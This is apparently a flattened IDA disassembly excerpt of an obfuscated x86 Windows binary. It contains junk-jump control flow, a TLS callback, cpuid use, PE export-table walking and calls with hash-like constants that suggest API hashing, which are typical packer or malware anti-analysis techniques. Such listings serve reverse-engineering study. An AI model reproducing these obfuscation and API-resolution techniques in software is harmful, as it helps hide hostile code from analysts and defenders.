FUNCTION CHUNK AT 00428E5F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428E80 SIZE 00000001 BYTES ; FUNCTION CHUNK AT 00428ECC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004294D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004297C8 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00429898 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042A4EF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A568 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A642 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A72A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AC6D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B0DD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042B1F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B752 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B952 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BBBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C080 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C3A8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042C883 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042CE14 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042CECC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CEF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D289 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D531 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D949 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042DF53 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042EA6B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042EB89 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042F5B8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FFD6 SIZE 00000008 BYTES xchg eax, [esp+0] loc_42E9EB: ; CODE XREF: sub_42ADC7:loc_428B21j mov eax, [esp+0] call sub_4245B5 test eax, eax jz loc_428BE9 jmp loc_42A642 sub_42E9E8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D69D loc_42EA00: ; CODE XREF: sub_42D69D-194j push 6F81DC1Bh jz loc_42DA3D xor edx, 4DC6CD1Fh jb loc_42CD71 jmp loc_42FE22 ; END OF FUNCTION CHUNK FOR sub_42D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242F8 loc_42EA1C: ; CODE XREF: sub_4242F8+30E8j jz loc_42D65D inc [ebp+var_8] loc_42EA25: ; CODE XREF: sub_42A4FA+4j ; sub_4242F8+9376j ... mov eax, [ebp+var_8] pop ecx pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4242F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42EA2C: ; CODE XREF: sub_426E98-CD6j jmp nullsub_231 ; END OF FUNCTION CHUNK FOR sub_426E98 ; =============== S U B R O U T I N E ======================================= sub_42EA31 proc near ; CODE XREF: sub_42A56D+1p ; wto1jq8f:0042D8E8j xchg ebx, [esp+0] pop ebx mov ebp, esp jnb sub_42A2B8 jmp sub_42C2D2 sub_42EA31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp ebx, 3560814Ch jmp loc_42CF13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FBFD loc_42EA4D: ; CODE XREF: sub_42FBFD:loc_42823Fj mov eax, [ebp+8] push eax mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h setz al jmp loc_42F221 ; END OF FUNCTION CHUNK FOR sub_42FBFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D63 loc_42EA63: ; CODE XREF: sub_424D63:loc_42D844j ror ecx, 2 jmp loc_42CFF2 ; END OF FUNCTION CHUNK FOR sub_424D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42EA6B: ; CODE XREF: sub_42E9E8:loc_426AF5j cmp dword ptr [ebp-4], 1 jnz loc_42C73E jmp loc_42B1F5 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E460 loc_42EA7A: ; CODE XREF: sub_42E460+9j pop esi add esi, 69B0C9C8h xchg esi, [esp+14h+var_14] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42E460 ; --------------------------------------------------------------------------- xor ebx, 0DD85E82Dh jmp loc_42F12F ; --------------------------------------------------------------------------- loc_42EA94: ; CODE XREF: wto1jq8f:0042CE3Bj shl eax, cl mov cl, [ebp-0Bh] xor edx, edx mov dl, [ebp-9] shr edx, cl or eax, edx mov edx, [ebp-8] jmp loc_424369 ; --------------------------------------------------------------------------- locret_42EAAA: ; CODE XREF: wto1jq8f:00428F5Cj ; wto1jq8f:loc_42AB22j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR TlsCallback_0 loc_42EAAB: ; CODE XREF: TlsCallback_0+6878j jmp loc_42999A ; END OF FUNCTION CHUNK FOR TlsCallback_0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_42EAB0: ; CODE XREF: sub_42727F+1381j jmp loc_426663 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_42EAB5: ; CODE XREF: sub_429D2E:loc_424F75j jz loc_4261B1 jmp loc_42A0FD ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42EAC0: ; CODE XREF: sub_425F4F+8388j jnz loc_429A57 adc edx, 24E21F6Ch loc_42EACC: ; CODE XREF: wto1jq8f:loc_427B56j call sub_42EADC retn ; --------------------------------------------------------------------------- loc_42EAD2: ; CODE XREF: sub_425F4F+87FBj jmp loc_428E9C ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_42EAD7: ; CODE XREF: sub_42E5B2-5373j jmp loc_424BEA ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; =============== S U B R O U T I N E ======================================= sub_42EADC proc near ; CODE XREF: sub_425F4F:loc_42EACCp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004268B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004281A1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC51 SIZE 0000000D BYTES pushf jmp loc_4281A1 sub_42EADC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42EAE2: ; CODE XREF: sub_426C0C+3C66j jnz loc_42E294 jmp loc_42644C ; END OF FUNCTION CHUNK FOR sub_426C0C ; =============== S U B R O U T I N E ======================================= sub_42EAED proc near ; CODE XREF: wto1jq8f:004245FAj ; sub_42621A+5EA2p ; FUNCTION CHUNK AT 00426E7D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042CA38 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov edx, [ebp+8] imul dword ptr [edx-4] add eax, 2 mov [ebp-0Ch], eax mov eax, [ebp-0Ch] add [ebp-8], eax jmp loc_42CA38 sub_42EAED endp ; sp-analysis failed ; --------------------------------------------------------------------------- test eax, eax setnz byte ptr [ebp-1] mov al, [ebp-1] pop ecx pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42EB14: ; CODE XREF: sub_42A6CD+40D9j jmp loc_42C803 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- loc_42EB19: ; CODE XREF: wto1jq8f:004270F5j call sub_42776C jmp loc_42E15D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42EB23: ; CODE XREF: sub_426E98:loc_426FB8j mov esi, ebp jmp loc_426AEF ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42EB2A: ; CODE XREF: sub_42506F+C96j jno loc_42E1F6 jmp loc_427ACA ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42EB35: ; CODE XREF: sub_426C0C+5ECEj jle loc_42F8AF mov ecx, ebp xor edx, 81C478A0h loc_42EB43: ; CODE XREF: sub_426C0C:loc_426A67j lea eax, [ebp-26Fh] cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_42F4F4 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- add ebx, 5E47FE0Ah jmp loc_42F9C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42EB65: ; CODE XREF: sub_42D9FC-66B8j jnb loc_427898 ror esi, 19h jmp loc_424668 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- jbe loc_42CC08 jmp loc_42E3C0 ; --------------------------------------------------------------------------- test edi, 7B455D4Fh jmp loc_426B68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42EB89: ; CODE XREF: sub_42E9E8-5B79j push 100h push 0B13748B0h pop eax call sub_42C990 loc_42EB99: ; CODE XREF: wto1jq8f:00429FC6j jmp loc_4265CF ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42EB9E: ; CODE XREF: sub_42CB36-EA0j call sub_42707F ; END OF FUNCTION CHUNK FOR sub_42CB36 ; START OF FUNCTION CHUNK FOR sub_42708B loc_42EBA3: ; CODE XREF: sub_42708B+5j jmp loc_42F319 ; END OF FUNCTION CHUNK FOR sub_42708B ; --------------------------------------------------------------------------- sbb edx, 8A1573F3h jmp loc_42BE64 ; --------------------------------------------------------------------------- sbb edi, 5B5F6422h and esi, ecx jmp sub_42A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B8C loc_42EBC0: ; CODE XREF: sub_425B8C+6j push offset loc_4297AA jmp loc_42D9C9 ; END OF FUNCTION CHUNK FOR sub_425B8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42EBCA: ; CODE XREF: sub_42AA68:loc_42AA72j push 55AA31D2h pop eax add eax, 0B822363Dh add eax, ebp add eax, 0F23397D1h push eax call sub_42596F jmp loc_428620 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- locret_42EBE9: ; CODE XREF: wto1jq8f:loc_42E6E0j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F31 loc_42EBEA: ; CODE XREF: sub_424F31+9DC0j jmp nullsub_226 ; END OF FUNCTION CHUNK FOR sub_424F31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A84 loc_42EBEF: ; CODE XREF: sub_426A84+Ej jmp nullsub_153 ; END OF FUNCTION CHUNK FOR sub_426A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_42EBF4: ; CODE XREF: sub_42F2C7-8A9Aj ; sub_42D4FD:loc_430000j call sub_42ED32 mov edx, 87C4571Ah call sub_429165 loc_42EC03: ; CODE XREF: wto1jq8f:00426865j push eax loc_42EC04: ; CODE XREF: wto1jq8f:loc_429E18j jmp loc_42B159 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- loc_42EC09: ; CODE XREF: wto1jq8f:00424252j sub ecx, 86E19E30h jns loc_42EF35 loc_42EC15: ; CODE XREF: wto1jq8f:loc_424241j xor esi, 0A7457338h ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42EC1B: ; CODE XREF: sub_428AC6:loc_42A77Aj add esi, ebp push edx jmp loc_42E239 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAC3 loc_42EC23: ; CODE XREF: sub_42AAC3-20DBj jle loc_427ACC jno loc_427D63 loc_42EC2F: ; CODE XREF: sub_42AAC3:loc_42AC4Aj call sub_427C92 ; END OF FUNCTION CHUNK FOR sub_42AAC3 ; START OF FUNCTION CHUNK FOR sub_427D82 loc_42EC34: ; CODE XREF: sub_427D82-23B8j jmp loc_426F76 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42EC39: ; CODE XREF: sub_426E98:loc_429768j ; sub_426E98+7133j push 0BB509726h mov [esp+28h+var_28], ecx push 4E462590h xchg ebx, [esp+0] mov ecx, ebx pop ebx jmp loc_4289F4 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EADC loc_42EC51: ; CODE XREF: sub_42EADC:loc_4281A1j mov [esp+4+var_4], ebp push offset sub_42A6E3 jmp loc_4268B6 ; END OF FUNCTION CHUNK FOR sub_42EADC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_42EC5E: ; CODE XREF: sub_4293FF+28D6j js loc_428A3A ror ebp, 17h xchg edi, ebx jmp loc_4285DA ; END OF FUNCTION CHUNK FOR sub_4293FF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_244. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA12 loc_42EC6F: ; CODE XREF: sub_42CA12+7j jmp loc_4249B2 ; END OF FUNCTION CHUNK FOR sub_42CA12 ; --------------------------------------------------------------------------- loc_42EC74: ; CODE XREF: wto1jq8f:00427FB1j jmp loc_42C83D ; --------------------------------------------------------------------------- loc_42EC79: ; CODE XREF: wto1jq8f:0042DD58j ror eax, 6 push eax retn ; --------------------------------------------------------------------------- add esi, ebx jmp loc_424BAA ; --------------------------------------------------------------------------- loc_42EC85: ; DATA XREF: wto1jq8f:0042EF93o push edx xchg ebx, edx push 0AEF5C860h pop ebx jmp loc_42944F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push edx shr edx, 12h jmp sub_42C43B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260A9 loc_42EC9D: ; CODE XREF: sub_4260A9:loc_429C79j cmp eax, [ebp-8] jnz loc_42CA26 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] jmp loc_428688 ; END OF FUNCTION CHUNK FOR sub_4260A9 ; --------------------------------------------------------------------------- loc_42ECB4: ; CODE XREF: wto1jq8f:0042855Fj jz loc_428472 call sub_42B866 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_42ECC0: ; CODE XREF: sub_42C4E2+8A9j jmp nullsub_156 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; --------------------------------------------------------------------------- loc_42ECC5: ; CODE XREF: wto1jq8f:loc_428552j call sub_42CB36 test al, al jz loc_428472 jmp loc_42B860 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F31 loc_42ECD7: ; CODE XREF: sub_424F31+15j push 0C621FE39h pop ebx add ebx, 641A5C62h rol ebx, 1Fh add ebx, 6B2474F2h push offset sub_42A237 jmp loc_42EBEA ; END OF FUNCTION CHUNK FOR sub_424F31 ; --------------------------------------------------------------------------- loc_42ECF6: ; CODE XREF: wto1jq8f:0042AEC4j mov ebx, 0B4C135EDh loc_42ECFB: ; CODE XREF: wto1jq8f:loc_42A26Ej call sub_42ED01 retn ; =============== S U B R O U T I N E ======================================= sub_42ED01 proc near ; CODE XREF: sub_42FBC7:loc_427C0Cp ; wto1jq8f:loc_42ECFBp ; FUNCTION CHUNK AT 00424F9D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004267D3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004274AE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428FE8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042A018 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B7F0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D0C7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042DFF7 SIZE 00000005 BYTES js loc_42A018 mov eax, offset dword_42CAF8 call sub_42F185 test al, al jmp loc_424F9D sub_42ED01 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA7 loc_42ED18: ; CODE XREF: sub_427DA7+7D77j mov eax, offset sub_42ED21 xchg eax, [esp-8+arg_4] retn ; END OF FUNCTION CHUNK FOR sub_427DA7 ; =============== S U B R O U T I N E ======================================= sub_42ED21 proc near ; DATA XREF: sub_427DA7:loc_42ED18o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425981 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427057 SIZE 0000000A BYTES pop ecx jmp loc_425981 sub_42ED21 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42ED27: ; CODE XREF: sub_426968:loc_427383j ; sub_426968+E41j inc dword ptr [ebp-8] inc dword ptr [ebp-0Ch] jmp loc_42AB0E ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= sub_42ED32 proc near ; CODE XREF: wto1jq8f:loc_42664Bp ; sub_4262CE+921p ... ; FUNCTION CHUNK AT 004274D6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004287A5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D7C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F44D SIZE 0000000B BYTES call sub_42A8ED loc_42ED37: ; CODE XREF: wto1jq8f:0042782Ej jmp loc_42F44D sub_42ED32 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42ED3C: ; CODE XREF: sub_429B76-3EF1j jnz loc_427246 jmp loc_429F75 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4246D4 loc_42ED47: ; CODE XREF: sub_4246D4:loc_42CDF4j pop ecx pop ebx xchg ebx, [esp-10h+arg_C] mov eax, ebx pop ebx jmp loc_428D5C ; END OF FUNCTION CHUNK FOR sub_4246D4 ; =============== S U B R O U T I N E ======================================= sub_42ED54 proc near ; DATA XREF: wto1jq8f:0042AF9Bo mov edx, 7DA6ACC0h call sub_429165 call sub_42969B loc_42ED63: ; DATA XREF: wto1jq8f:0042C454o call sub_424585 mov edx, 1F56AC7Bh call sub_429165 loc_42ED72: ; CODE XREF: wto1jq8f:loc_42CA0Cj call sub_42CF00 loc_42ED77: ; CODE XREF: wto1jq8f:0042B34Ej jmp loc_42F839 sub_42ED54 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429835 loc_42ED7C: ; CODE XREF: sub_429835+9j jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_429835 ; --------------------------------------------------------------------------- loc_42ED81: ; CODE XREF: wto1jq8f:loc_427456j jnz loc_42EE9A mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] jmp loc_424EB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42ED98: ; CODE XREF: sub_42A909+2948j jnz loc_428EBC jmp loc_427F74 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42EDA3: ; CODE XREF: sub_426D4F:loc_429550j jz loc_42BC61 jmp loc_42B970 ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42EDAE: ; CODE XREF: sub_426968+6F02j push offset loc_428A4E jmp nullsub_158 ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42EDB8 proc near ; CODE XREF: sub_428501:loc_42F2C2j retn sub_42EDB8 endp ; =============== S U B R O U T I N E ======================================= sub_42EDB9 proc near ; CODE XREF: wto1jq8f:0042417Ej ; sub_42D849+2p ; FUNCTION CHUNK AT 00425E50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282D6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428A0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428EAF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004293D9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A373 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042B196 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042F355 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FA56 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FC34 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xor edx, edx push ebx mov ebx, edx xchg ebx, [esp+0] push eax jmp loc_4293D9 sub_42EDB9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42826A loc_42EDCB: ; CODE XREF: sub_42826A+10j mov dword ptr [eax], 594C4C4Fh push 30384E93h pop eax call sub_426086 ; END OF FUNCTION CHUNK FOR sub_42826A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42EDDD: ; DATA XREF: sub_42C75F+6o push 0B405D0E1h pop eax add eax, 4C3D1FC7h jmp loc_42D116 ; --------------------------------------------------------------------------- loc_42EDEE: ; DATA XREF: sub_427D8D-227Do xchg ebx, [esp] jmp loc_42749F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426FD6 loc_42EDF6: ; CODE XREF: sub_426FD6-10A1j xor ebx, ebx xor ecx, ecx xor edx, edx cpuid add [esi], eax xor [esi], ebx add [esi], ecx xor [esi], edx jmp loc_42FF5D ; END OF FUNCTION CHUNK FOR sub_426FD6 ; --------------------------------------------------------------------------- mov edx, 63180CAFh call sub_429165 push eax push 214FCA81h pop eax ; START OF FUNCTION CHUNK FOR sub_427143 loc_42EE1C: ; CODE XREF: sub_427143:loc_429B95j and eax, 23DB688Dh xor eax, 0C150F732h jmp loc_42CA74 ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- loc_42EE2D: ; CODE XREF: wto1jq8f:00425DBCj jnz loc_4297F2 jmp loc_42D007 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_42EE38: ; CODE XREF: sub_424406:loc_425A0Fj jz loc_42D1C3 jmp loc_426518 ; END OF FUNCTION CHUNK FOR sub_424406 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42EE43: ; CODE XREF: sub_426535:loc_42ACA7j jno loc_428328 test ecx, 2A32845Fh jmp loc_42432A ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EE54 proc near ; CODE XREF: wto1jq8f:0042DCD5p var_4 = dword ptr -4 xchg ebp, [esp+0] mov ebp, [esp+0] mov ebp, esp push 17E7A0FFh mov [esp+4+var_4], edx xchg edx, ecx mov ecx, edx jmp loc_42D94E sub_42EE54 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42EE6E: ; CODE XREF: wto1jq8f:0042626Cj jmp loc_4267C4 ; --------------------------------------------------------------------------- locret_42EE73: ; CODE XREF: wto1jq8f:loc_427A6Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_42EE74: ; CODE XREF: sub_42B8FC+8j jmp loc_42D0FF ; END OF FUNCTION CHUNK FOR sub_42B8FC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_42EE7A: ; CODE XREF: sub_42E0FD-6D32j jmp loc_42BDE4 ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42EE7F: ; CODE XREF: sub_429BFF-2FBDj jmp loc_42B334 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- loc_42EE84: ; DATA XREF: sub_42C4CF+10B0o call edx push offset sub_42AE5E jmp locret_426AEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426806 loc_42EE90: ; CODE XREF: sub_426806-1943j mov eax, ds:dword_425510[eax*4] mov [ebp-8], eax loc_42EE9A: ; CODE XREF: wto1jq8f:0042CC2Ej ; wto1jq8f:loc_42ED81j jz loc_427997 test byte ptr [ebp-8], 2 call sub_42F072 ; END OF FUNCTION CHUNK FOR sub_426806 ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_42EEA9: ; CODE XREF: sub_42E0FD+13j ; wto1jq8f:0042E4CAj jmp loc_428A67 ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- loc_42EEAE: ; CODE XREF: wto1jq8f:0042768Ej not esi ; =============== S U B R O U T I N E ======================================= sub_42EEB0 proc near ; CODE XREF: sub_42B8FC:loc_42A92Cp xchg edi, [esp+0] pop edi ror eax, 0Fh push eax call sub_42D765 loc_42EEBD: ; CODE XREF: wto1jq8f:loc_42F7A7j jmp nullsub_159 sub_42EEB0 endp ; --------------------------------------------------------------------------- push offset sub_42E7B6 jmp loc_42D55F ; =============== S U B R O U T I N E ======================================= sub_42EECC proc near ; CODE XREF: sub_427143:loc_4292F9p ; wto1jq8f:0042C14Bj ; FUNCTION CHUNK AT 00428165 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] mov eax, [eax] push offset loc_426B79 jmp loc_428165 sub_42EECC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A30 loc_42EEDF: ; CODE XREF: sub_427A30+3528j xchg eax, [esp+8+var_8] jmp loc_427412 ; END OF FUNCTION CHUNK FOR sub_427A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E35 loc_42EEE7: ; CODE XREF: sub_425E35:loc_42AEFAj call sub_425DF0 call sub_428B05 mov edx, [ebx+3Ch] mov edx, [ebx+edx+80h] or edx, edx jz loc_42E0A8 ; END OF FUNCTION CHUNK FOR sub_425E35 ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42EF03: ; CODE XREF: sub_426E98:loc_427C26j ; sub_426E98+4BCBj jo loc_427C3D jmp loc_426F01 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_42EF0E: ; CODE XREF: sub_4283CC:loc_427906j jz loc_42A77A jmp loc_42CA43 ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E541 loc_42EF19: ; CODE XREF: sub_42E541-3FACj mov eax, [ebp+8] or dword ptr [eax-8], 4 mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] jmp loc_428C4F ; END OF FUNCTION CHUNK FOR sub_42E541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FE77 loc_42EF2E: ; CODE XREF: wto1jq8f:00426652j ; wto1jq8f:00426DBAj ... push edx push 0C28DF081h pop edx loc_42EF35: ; CODE XREF: wto1jq8f:0042EC0Fj xor edx, 0E86032h add edx, ebp jmp loc_427A2B ; END OF FUNCTION CHUNK FOR sub_42FE77 ; --------------------------------------------------------------------------- loc_42EF42: ; CODE XREF: wto1jq8f:loc_42FAAEj movzx eax, word ptr [eax] shl eax, 2 mov edx, [ebp-14h] mov edx, [edx+1Ch] jmp loc_428EA7 ; --------------------------------------------------------------------------- loc_42EF53: ; DATA XREF: sub_429165+49C8o add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax mov eax, [ebp-10h] jmp loc_42659E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DDE6 loc_42EF69: ; CODE XREF: sub_42DDE6:loc_42D52Cj jz loc_42B535 ; END OF FUNCTION CHUNK FOR sub_42DDE6 ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42EF6F: ; CODE XREF: sub_429BFF+3A4Bj jmp loc_42D72F ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C92 loc_42EF74: ; CODE XREF: sub_427C92+12j jmp sub_427A8D ; END OF FUNCTION CHUNK FOR sub_427C92 ; --------------------------------------------------------------------------- sub eax, ecx test ecx, 3E2B6367h jmp loc_42B52F ; --------------------------------------------------------------------------- loc_42EF86: ; CODE XREF: wto1jq8f:00428585j pushf jmp loc_429987 ; --------------------------------------------------------------------------- mov edx, 8CB242DAh xchg ebx, edx push offset loc_42EC85 jmp locret_42CAD2 ; 